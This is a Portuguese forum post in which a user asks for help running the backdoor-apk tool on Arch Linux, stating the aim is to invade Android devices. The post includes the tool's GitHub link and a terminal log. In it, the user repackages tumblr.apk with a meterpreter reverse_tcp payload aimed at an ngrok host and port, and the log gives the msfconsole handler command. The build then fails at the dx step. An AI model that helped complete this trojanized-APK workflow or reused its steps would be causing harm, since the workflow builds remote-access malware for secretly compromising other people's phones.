PROBLEMA COM BACKDOOR NO ARCH LINUX

Boa tarde, estou com um problema no backdoor no arch linux para invasão no Android.
Backdoor = https://github.com/dana-at-cp/backdoor-apk

[carlarch@Archlinux backdoor-apk]$ sudo ./backdoor-apk.sh tumblr.apk
[sudo] password for carlarch:
________
/ ______ \
|| _ _ ||
||| || ||| AAAAAA PPPPPPP KKK KKK
|||_||_||| AAA AAA PPP PPP KKK KKK
|| _ _o|| (o) AAA AAA PPP PPP KKKKKK
||| || ||| AAAAAAAA PPPPPPPP KKK KKK
|||_||_||| AAA AAA PPP KKK KKK
||______|| AAA AAA PPP KKK KKK
/__________\
________|__________|__________________________________________
/____________\
|____________| Dana James Traversie

[*] Running backdoor-apk.sh v0.2.3 on Mon Oct 23 17:00:53 UTC 2017
[+] Android payload options:
1) meterpreter/reverse_http 4) shell/reverse_http
2) meterpreter/reverse_https 5) shell/reverse_https
3) meterpreter/reverse_tcp 6) shell/reverse_tcp
[?] Please select an Android payload option: 3
[?] Please enter an LHOST value: 0.tcp.ngrok.io
[?] Please enter an LPORT value: 13068
[+] Android manifest permission options:
1) Keep original
2) Merge with payload and shuffle
[?] Please select an Android manifest permission option: 1
[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
[*] Generating RAT APK file...done.
[*] Decompiling original APK file...done.
[+] Keeping permissions of original project
[*] Running proguard on RAT APK file...done.
[!] Failed to run dx on proguard processed jar file


Esse e o erro = [!] Failed to run dx on proguard processed jar file

Já procurei na github entre outros forums porem não encontro uma solução.....